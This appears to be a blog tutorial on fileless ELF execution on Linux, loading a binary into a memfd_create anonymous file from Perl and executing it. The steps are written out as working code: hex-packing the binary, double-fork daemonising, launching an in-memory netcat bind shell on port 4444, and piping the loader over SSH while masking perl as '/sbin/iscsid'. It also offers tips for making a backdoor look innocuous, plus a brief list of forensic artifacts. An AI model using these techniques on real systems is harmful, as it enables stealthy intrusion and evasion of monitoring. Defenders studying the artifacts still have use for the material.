In which we run a normal ELF binary on Linux without touching the filesystem (except
).
Introduction
Every so often, it’s handy to execute an ELF binary without touching disk. Normally, putting it somewhere under
or something else backed by tmpfs works just fine, but, outside of disk forensics, that looks like a regular file operation. Wouldn’t it be cool to just grab a chunk of memory, put our binary in there, and run it without monkey-patching the kernel, rewriting
in userland, or loading a library into another process?
. This handy little system call is something like
, but instead of returning a pointer to a chunk of memory, it returns a file descriptor which refers to an anonymous (i.e. memory-only) file. This is only visible in the filesystem as a symlink in
(e.g.
), which, as it turns out,
will happily use to execute an ELF binary.
The manpage has the following to say on the subject of naming anonymous files:
The name supplied in
name[an argument to
memfd_create(2)] is used as a filename and will be displayed as the target of the corresponding symbolic link in the directory
/proc/self/fd/. The displayed name is always prefixed with
memfd:and serves only for debugging purposes. Names do not affect the behavior of the file descriptor, and as such multiple files can have the same name without any side effects.
In other words, we can give it a name (to which
will be prepended), but what we call it doesn’t really do anything except help debugging (or forensicing). We can even give the anonymous file an empty name.
Listing
, anonymous files look like this:
stuart@ubuntu-s-1vcpu-1gb-nyc1-01:~<span class="nv">$ </span><span class="nb">ls</span> <span class="nt">-l</span> /proc/10766/fd
total 0
lrwx------ 1 stuart stuart 64 Mar 30 23:23 0 -> /dev/pts/0
lrwx------ 1 stuart stuart 64 Mar 30 23:23 1 -> /dev/pts/0
lrwx------ 1 stuart stuart 64 Mar 30 23:23 2 -> /dev/pts/0
lrwx------ 1 stuart stuart 64 Mar 30 23:23 3 -> /memfd:kittens <span class="o">(</span>deleted<span class="o">)</span>
lrwx------ 1 stuart stuart 64 Mar 30 23:23 4 -> /memfd: <span class="o">(</span>deleted<span class="o">)</span>
Here we see two anonymous files, one named
and one without a name at all. The
is inaccurate and looks a bit weird but c’est la vie.
Caveats
Unless we land on target with some way to call
, from our initial vector (e.g. injection into a Perl or Python program with
), we’ll need a way to execute system calls on target. We could drop a binary to do this, but then we’ve failed to acheive fileless ELF execution. Fortunately, Perl’s
solves this problem for us nicely.
We’ll also need a way to write an entire binary to the target’s memory as the contents of the anonymous file. For this, we’ll put it in the source of the script we’ll write to do the injection, but in practice pulling it down over the network is a viable alternative.
As for the binary itself, it has to be, well, a binary. Running scripts starting with
doesn’t seem to work.
The last thing we need is a sufficiently new kernel. Anything version 3.17 (released 05 October 2014) or later will work. We can find the target’s kernel version with
.
stuart@ubuntu-s-1vcpu-1gb-nyc1-01:~<span class="nv">$ </span>uname <span class="nt">-r</span>
4.4.0-116-generic
On Target
Aside
ing an anonymous file instead of a regular filesystem file and doing it all in Perl, there isn’t much difference from starting any other program. Let’s have a look at the system calls we’ll use.
memfd_create(2)
Much like a memory-backed
, we’ll use the
system call to make our anonymous file. We’ll pass it the
flag (analogous to
), so that the file descriptor we get will be automatically closed when we
the ELF binary.
Because we’re using Perl’s
to call the
, we don’t have easy access to a user-friendly libc wrapper function or, for that matter, a nice human-readable
constant. Instead, we’ll need to pass
the raw system call number for
and the numeric constant for
. Both of these are found in header files in
. System call numbers are stored in
s starting with
.
stuart@ubuntu-s-1vcpu-1gb-nyc1-01:/usr/include<span class="nv">$ </span>egrep <span class="nt">-r</span> <span class="s1">'__NR_memfd_create|MFD_CLOEXEC'</span> <span class="k">*</span>
asm-generic/unistd.h:#define __NR_memfd_create 279
asm-generic/unistd.h:__SYSCALL<span class="o">(</span>__NR_memfd_create, sys_memfd_create<span class="o">)</span>
linux/memfd.h:#define MFD_CLOEXEC 0x0001U
x86_64-linux-gnu/asm/unistd_64.h:#define __NR_memfd_create 319
x86_64-linux-gnu/asm/unistd_32.h:#define __NR_memfd_create 356
x86_64-linux-gnu/asm/unistd_x32.h:#define __NR_memfd_create <span class="o">(</span>__X32_SYSCALL_BIT + 319<span class="o">)</span>
x86_64-linux-gnu/bits/syscall.h:#define SYS_memfd_create __NR_memfd_create
x86_64-linux-gnu/bits/syscall.h:#define SYS_memfd_create __NR_memfd_create
x86_64-linux-gnu/bits/syscall.h:#define SYS_memfd_create __NR_memfd_create
Looks like
is system call number 319 on 64-bit Linux (
in a file with a name ending in
), and
is a consatnt
(i.e. 1, in
). Now that we’ve got the numbers we need, we’re almost ready to do the Perl equivalent of C’s
(or more specifically,
).
The last thing we need is a name for our file. In a file listing,
is probably a bit better-looking than
, so we’ll pass an empty string to
via
. Perl’s
won’t take string literals (due to passing a pointer under the hood), so we make a variable with the empty string and use it instead.
Putting it together, let’s finally make our anonymous file:
<span class="k">my</span> <span class="nv">$name</span> <span class="o">=</span> <span class="s">""</span><span class="p">;</span>
<span class="k">my</span> <span class="nv">$fd</span> <span class="o">=</span> <span class="nb">syscall</span><span class="p">(</span><span class="mi">319</span><span class="p">,</span> <span class="nv">$name</span><span class="p">,</span> <span class="mi">1</span><span class="p">);</span>
<span class="k">if</span> <span class="p">(</span><span class="o">-</span><span class="mi">1</span> <span class="o">==</span> <span class="nv">$fd</span><span class="p">)</span> <span class="p">{</span>
<span class="nb">die</span> <span class="s">"memfd_create: $!"</span><span class="p">;</span>
<span class="p">}</span>
We now have a file descriptor number in
. We can wrap that up in a Perl one-liner which lists its own file descriptors after making the anonymous file:
stuart@ubuntu-s-1vcpu-1gb-nyc1-01:~<span class="nv">$ </span>perl <span class="nt">-e</span> <span class="s1">'$n="";die$!if-1==syscall(319,$n,1);print`ls -l /proc/$$/fd`'</span>
total 0
lrwx------ 1 stuart stuart 64 Mar 31 02:44 0 -> /dev/pts/0
lrwx------ 1 stuart stuart 64 Mar 31 02:44 1 -> /dev/pts/0
lrwx------ 1 stuart stuart 64 Mar 31 02:44 2 -> /dev/pts/0
lrwx------ 1 stuart stuart 64 Mar 31 02:44 3 -> /memfd: <span class="o">(</span>deleted<span class="o">)</span>
write(2)
Now that we have an anonymous file, we need to fill it with ELF data. First we’ll need to get a Perl filehandle from a file descriptor, then we’ll need to get our data in a format that can be written, and finally, we’ll write it.
, which is normally used to open files, can also be used to turn an already-open file descriptor into a file handle by specifying something like
(where X is a file descriptor) instead of a file name. We’ll also want to enable autoflush on the new file handle:
<span class="nb">open</span><span class="p">(</span><span class="k">my</span> <span class="nv">$FH</span><span class="p">,</span> <span class="s">'>&='</span><span class="o">.</span><span class="nv">$fd</span><span class="p">)</span> <span class="ow">or</span> <span class="nb">die</span> <span class="s">"open: $!"</span><span class="p">;</span>
<span class="nb">select</span><span class="p">((</span><span class="nb">select</span><span class="p">(</span><span class="nv">$FH</span><span class="p">),</span> <span class="vg">$|</span><span class="o">=</span><span class="mi">1</span><span class="p">)[</span><span class="mi">0</span><span class="p">]);</span>
We now have a file handle which refers to our anonymous file.
Next we need to make our binary available to Perl, so we can write it to the anonymous file. We’ll turn the binary into a bunch of Perl print statements of which each write a chunk of our binary to the anonymous file.
perl <span class="nt">-e</span> <span class="s1">'$/=\32;print"print \$FH pack q/H*/, q/".(unpack"H*")."/\ or die qq/write: \$!/;\n"while(<>)'</span> ./elfbinary
This will give us many, many lines similar to:
<span class="k">print</span> <span class="nv">$FH</span> <span class="nb">pack</span> <span class="sx">q/H*/</span><span class="p">,</span> <span class="sx">q/7f454c4602010100000000000000000002003e0001000000304f450000000000/</span> <span class="ow">or</span> <span class="nb">die</span> <span class="sx">qq/write: $!/</span><span class="p">;</span>
<span class="k">print</span> <span class="nv">$FH</span> <span class="nb">pack</span> <span class="sx">q/H*/</span><span class="p">,</span> <span class="sx">q/4000000000000000c80100000000000000000000400038000700400017000300/</span> <span class="ow">or</span> <span class="nb">die</span> <span class="sx">qq/write: $!/</span><span class="p">;</span>
<span class="k">print</span> <span class="nv">$FH</span> <span class="nb">pack</span> <span class="sx">q/H*/</span><span class="p">,</span> <span class="sx">q/0600000004000000400000000000000040004000000000004000400000000000/</span> <span class="ow">or</span> <span class="nb">die</span> <span class="sx">qq/write: $!/</span><span class="p">;</span>
Exceuting those puts our ELF binary into memory. Time to run it.
Optional:
fork(2)
is isn’t actually a system call; it’s really a libc function which does all sorts of stuff under the hood. Perl’s
is functionally identical to libc’s as far as process-making goes: once it’s called, there are now two nearly identical processes running (of which one, usually the child, often finds itself calling
). We don’t actually have to spawn a new process to run our ELF binary, but if we want to do more than just run it and exit (say, run it multiple times), it’s the way to go. In general, using
to spawn multiple children looks something like:
<span class="k">while</span> <span class="p">(</span><span class="nv">$keep_going</span><span class="p">)</span> <span class="p">{</span>
<span class="k">my</span> <span class="nv">$pid</span> <span class="o">=</span> <span class="nb">fork</span><span class="p">();</span>
<span class="k">if</span> <span class="p">(</span><span class="o">-</span><span class="mi">1</span> <span class="o">==</span> <span class="nv">$pid</span><span class="p">)</span> <span class="p">{</span> <span class="c1"># Error</span>
<span class="nb">die</span> <span class="s">"fork: $!"</span><span class="p">;</span>
<span class="p">}</span>
<span class="k">if</span> <span class="p">(</span><span class="mi">0</span> <span class="o">==</span> <span class="nv">$pid</span><span class="p">)</span> <span class="p">{</span> <span class="c1"># Child</span>
<span class="c1"># Do child things here</span>
<span class="nb">exit</span> <span class="mi">0</span><span class="p">;</span>
<span class="p">}</span>
<span class="p">}</span>
Another handy use of
, especially when done twice with a call to
in the middle, is to spawn a disassociated child and let the parent terminate:
<span class="c1"># Spawn child</span>
<span class="k">my</span> <span class="nv">$pid</span> <span class="o">=</span> <span class="nb">fork</span><span class="p">();</span>
<span class="k">if</span> <span class="p">(</span><span class="o">-</span><span class="mi">1</span> <span class="o">==</span> <span class="nv">$pid</span><span class="p">)</span> <span class="p">{</span> <span class="c1"># Error</span>
<span class="nb">die</span> <span class="s">"fork1: $!"</span><span class="p">;</span>
<span class="p">}</span>
<span class="k">if</span> <span class="p">(</span><span class="mi">0</span> <span class="o">!=</span> <span class="nv">$pid</span><span class="p">)</span> <span class="p">{</span> <span class="c1"># Parent terminates</span>
<span class="nb">exit</span> <span class="mi">0</span><span class="p">;</span>
<span class="p">}</span>
<span class="c1"># In the child, become session leader</span>
<span class="k">if</span> <span class="p">(</span><span class="o">-</span><span class="mi">1</span> <span class="o">==</span> <span class="nb">syscall</span><span class="p">(</span><span class="mi">112</span><span class="p">))</span> <span class="p">{</span>
<span class="nb">die</span> <span class="s">"setsid: $!"</span><span class="p">;</span>
<span class="p">}</span>
<span class="c1"># Spawn grandchild</span>
<span class="nv">$pid</span> <span class="o">=</span> <span class="nb">fork</span><span class="p">();</span>
<span class="k">if</span> <span class="p">(</span><span class="o">-</span><span class="mi">1</span> <span class="o">==</span> <span class="nv">$pid</span><span class="p">)</span> <span class="p">{</span> <span class="c1"># Error</span>
<span class="nb">die</span> <span class="s">"fork2: $!"</span><span class="p">;</span>
<span class="p">}</span>
<span class="k">if</span> <span class="p">(</span><span class="mi">0</span> <span class="o">!=</span> <span class="nv">$pid</span><span class="p">)</span> <span class="p">{</span> <span class="c1"># Child terminates</span>
<span class="nb">exit</span> <span class="mi">0</span><span class="p">;</span>
<span class="p">}</span>
<span class="c1"># In the grandchild here, do grandchild things</span>
We can now have our ELF process run multiple times or in a separate process. Let’s do it.
execve(2)
Linux process creation is a funny thing. Ever since the early days of Unix, process creation has been a combination of not much more than duplicating a current process and swapping out the new clone’s program with what should be running, and on Linux it’s no different. The
system call does the second bit: it changes one running program into another. Perl gives us
, which does more or less the same, albiet with easier syntax.
We pass to
two things: the file containing the program to execute (i.e. our in-memory ELF binary) and a list of arguments, of which the first element is usually taken as the process name. Usually, the file and the process name are the same, but since it’d look bad to have
in a process listing, we’ll name our process something else.
The syntax for calling
is a bit odd, and explained much better in the documentation. For now, we’ll take it on faith that the file is passed as a string in curly braces and there follows a comma-separated list of process arguments. We can use the variable
to get the pid of our own Perl process. For the sake of clarity, the following assumes we’ve put
in memory, but in practice, it’s better to use something which takes arguments that don’t look like a backdoor.
<span class="nb">exec</span> <span class="p">{</span><span class="s">"/proc/$$/fd/$fd"</span><span class="p">}</span> <span class="s">"kittens"</span><span class="p">,</span> <span class="s">"-kvl"</span><span class="p">,</span> <span class="s">"4444"</span><span class="p">,</span> <span class="s">"-e"</span><span class="p">,</span> <span class="s">"/bin/sh"</span> <span class="ow">or</span> <span class="nb">die</span> <span class="s">"exec: $!"</span><span class="p">;</span>
The new process won’t have the anonymous file open as a symlink in
, but the anonymous file will be visible as the
symlink, which normally points to the file containing the program which is being executed by the process.
We’ve now got an ELF binary running without putting anything on disk or even in the filesystem.
Scripting it
It’s not likely we’ll have the luxury of being able to sit on target and do all of the above by hand. Instead, we’ll pipe the script (
in the example below) via SSH to Perl’s stdin, and use a bit of shell trickery to keep
with no arguments from showing up in the process list:
<span class="nb">cat</span> ./elfload.pl | ssh user@target /bin/bash <span class="nt">-c</span> <span class="s1">'"exec -a /sbin/iscsid perl"'</span>
This will run Perl, renamed in the process list to
with no arguments. When not given a script or a bit of code with
, Perl expects a script on stdin, so we send the script to perl stdin via our local SSH client. The end result is our script is run without touching disk at all.
Without creds but with access to the target (i.e. after exploiting on), in most cases we can probably use the devopsy
trick (or intercept someone doing the trick for us). As long as the script makes it to Perl’s stdin and Perl gets an EOF when the script’s all read, it doesn’t particularly matter how it gets there.
Artifacts
Once running, the only real difference between a program running from an anonymous file and a program running from a normal file is the
symlink.
If something’s monitoring system calls (e.g. someone’s running
on sshd), the
calls will stick out, as will passing paths in
to
.
Other than that, there’s very little evidence anything is wrong.
Demo
To see this in action, have a look at this asciicast.
In C (translate to your non-disk-touching language of choice):
-
fd = memfd_create("", MFD_CLOEXEC);
-
write(pid, elfbuffer, elfbuffer_len);
-
asprintf(p, "/proc/self/fd/%i", fd); execl(p, "kittens", "arg1", "arg2", NULL);